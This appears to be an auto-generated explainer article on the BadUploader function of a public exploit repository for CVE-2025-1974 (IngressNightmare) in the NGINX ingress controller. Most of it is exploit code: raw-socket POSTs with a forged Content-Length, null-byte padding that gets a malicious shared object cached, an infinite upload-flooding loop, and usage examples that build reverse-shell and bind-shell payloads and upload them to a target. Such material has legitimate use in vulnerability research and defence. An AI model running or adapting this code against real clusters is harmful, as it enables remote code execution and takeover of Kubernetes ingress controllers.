How the BadUploader Function in IngressNightmare Caches Malicious Payloads
The BadUploader function caches payloads by opening raw TCP or TLS connections to the target NGINX ingress controller, sending a 1 MiB HTTP POST request with a padded shared-object payload that exceeds the 8KB cache threshold, forcing the ingress to store the malicious .so file in its cache directory.
The BadUploader serves as the low-level exploitation primitive in the esonhugh/ingressnightmare-cve-2025-1974-exps repository. This function bypasses standard HTTP client libraries to deliver malicious shared objects directly into the NGINX ingress cache, establishing the foothold required for CVE-2025-1974 exploitation.
Transport Layer Selection
The BadUploader function dynamically selects the transport protocol based on the target URL scheme. Unlike high-level HTTP clients, it establishes raw socket connections to maintain precise control over the request timing and structure.
BadUploadHTTP creates a plain TCP connection to port 80 (or the explicit port defined in the URL), while BadUploadHTTPS initiates a TLS-encrypted stream on port 443 with certificate verification disabled. This raw socket approach is essential for the cache-poisoning race condition.
url, _ := urlparse.Parse(URL)
if url.Scheme == "http" {
conn, err = BadUploadHTTP(url)
} else if url.Scheme == "https" {
conn, err = BadUploadHTTPS(url)
}
Source: nginx-ingress/exploit.go lines 24-49
Constructing the Malicious POST Request
The function fabricates a malformed HTTP POST request designed to trigger the ingress cache storage bug. It deliberately sets the Content-Length header to 1 MiB, regardless of the actual payload size, ensuring the NGINX ingress controller allocates cache space for the request body.
contentLength := fmt.Sprintf("%v", 1024*1024)
buffer := []byte(`POST ` + url.Path + ` HTTP/1.1\r\n` +
`Host: ` + url.Host + `\r\n` +
`Content-Type: application/octet-stream\r\n` +
`Content-Length: ` + contentLength + `\r\n` +
`Connection: keep-alive\r\n` +
`Accept: */*\r\n\r\n`)
This oversized content length declaration forces the ingress cache to write the incoming data to disk in /tmp/nginx,
the default cache directory, as implemented in the vulnerable NGINX ingress versions.
Source: nginx-ingress/exploit.go lines 71-77
Payload Padding Strategy
The shared-object payload generated in payload.go often falls below the 8KB minimum threshold required to trigger cache storage. The BadUploader detects small payloads and pads them with null bytes to ensure the first write exceeds 8KB + 10 bytes, guaranteeing cache persistence.
if len(payload) < 8*1024 {
padding := bytes.Repeat([]byte{0x00}, 8*1024+10-len(payload))
payload = append(payload, padding...)
}
This padding ensures that even minimal .so files meet the size requirements for the NGINX proxy cache manager to write the file to disk, making the malicious library available for subsequent inclusion via the webhook validation endpoints.
Source: nginx-ingress/exploit.go lines 80-84
Raw Socket Streaming
After establishing the connection and preparing the payload, the function executes a two-phase write operation. First, it transmits the fabricated HTTP headers, then streams the padded payload body directly over the raw socket.
_, _ = conn.Write(buffer) // Send headers
_, _ = conn.Write(payload) // Send padded body
data, err := io.ReadAll(conn) // Read server response
The function reads the complete server response to confirm request acceptance, though it disregards the actual response content. This raw streaming approach eliminates HTTP client buffering that might interfere with the precise timing required for the cache race condition.
Source: nginx-ingress/exploit.go lines 86-90
Continuous Execution via UploadThread
The UploadThread function orchestrates repeated invocations of BadUploader to maximize cache infiltration probability. Running in a dedicated goroutine, this infinite loop floods the target endpoint with the malicious payload until explicitly stopped.
for {
select {
case <-stop:
return
default:
err := BadUploader(URL, payload)
}
}
This persistent uploading strategy compensates for potential network instability and ensures the malicious .so file remains cached during the critical window when the admission webhook validation occurs, completing the CVE-2025-1974 exploitation chain.
Source: nginx-ingress/exploit.go lines 14-15
Why "Bad"Uploader?
The function's naming reflects three critical design decisions that violate safe HTTP client practices:
Raw Socket Implementation bypasses standard library features like redirect following, automatic retries, and connection pooling that could interfere with the exploit timing.
Deliberate Size Mismatch between the declared Content-Length (1 MiB) and the actual transmitted bytes exploits the NGINX ingress cache manager's write-to-disk behavior for large request bodies.
Unverified TLS connections allow exploitation of internal cluster services regardless of certificate validity, essential for attacks against private ingress controllers.
Practical Implementation Examples
Single Payload Upload
This example generates a reverse-shell shared object and caches it at the target endpoint:
package main
import (
"log"
"github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/nginx-ingress"
)
func main() {
// Build ELF payload connecting back to 10.0.2.15:4444
payload := nginx_ingress.NewReverseShellPayload("10.0.2.15", "4444")
// Cache payload at /evil endpoint
err := nginx_ingress.BadUploader("http://target-cluster:80/evil", payload)
if err != nil {
log.Fatalf("upload failed: %v", err)
}
log.Println("payload cached successfully")
}
Continuous Cache Flooding
Deploy the persistent uploader used in full exploitation scenarios:
package main
import (
"github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/nginx-ingress"
)
func main() {
payload := nginx_ingress.NewBindShellPayload("5555")
stop := make(chan struct{})
// Start background upload thread
go nginx_ingress.UploadThread("http://target:80/cache", payload, stop)
// After webhook validation succeeds:
// close(stop) to terminate uploads
}
Summary
- Raw Socket Transport:
BadUploaderusesBadUploadHTTPorBadUploadHTTPSto establish direct TCP/TLS connections, bypassing high-level HTTP clients. - 1 MiB Content-Length: The function declares a 1 MiB request size to trigger the NGINX ingress cache storage mechanism.
- 8KB Padding: Payloads smaller than 8KB are padded with null bytes to meet the minimum cache write threshold.
- Two-Phase Streaming: Headers and padded bodies are written separately over raw sockets to control transmission timing.
- Continuous Flooding:
UploadThreadrepeatedly invokesBadUploaderto ensure persistent cache contamination during the exploitation window. - CVE-2025-1974 Chain: This cache priming enables subsequent execution via the ingress admission controller's vulnerable validation webhook.
Frequently Asked Questions
What is the minimum payload size required for successful caching?
The NGINX ingress cache requires writes exceeding 8KB to trigger disk storage. The BadUploader automatically pads payloads smaller than 8,192 bytes with null bytes to reach 8KB + 10 bytes, ensuring the cache manager writes the file to /tmp/nginx regardless of the original shared-object size.
Why does BadUploader use raw sockets instead of a standard HTTP client?
Raw sockets provide precise control over connection timing, header formatting, and payload transmission without automatic buffering or retry logic. Standard HTTP clients might split requests unexpectedly or handle the malformed 1 MiB content-length declaration improperly, breaking the cache-storage race condition required for CVE-2025-1974 exploitation.
How does the UploadThread function improve exploitation reliability?
UploadThread executes BadUploader in an infinite loop until a stop signal is received, continuously flooding the target cache with the malicious payload. This redundancy compensates for network latency, connection resets, or cache eviction, ensuring the .so file remains available during the critical webhook validation phase when the actual code execution occurs.
Where is the malicious payload stored on the target system?
According to the exploit implementation and default NGINX ingress configurations, the padded POST request body is written to the ingress controller's cache directory, typically /tmp/nginx. The webhook validation vulnerability then allows loading this cached file as a shared object through the LD_PRELOAD mechanism or direct library injection paths.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →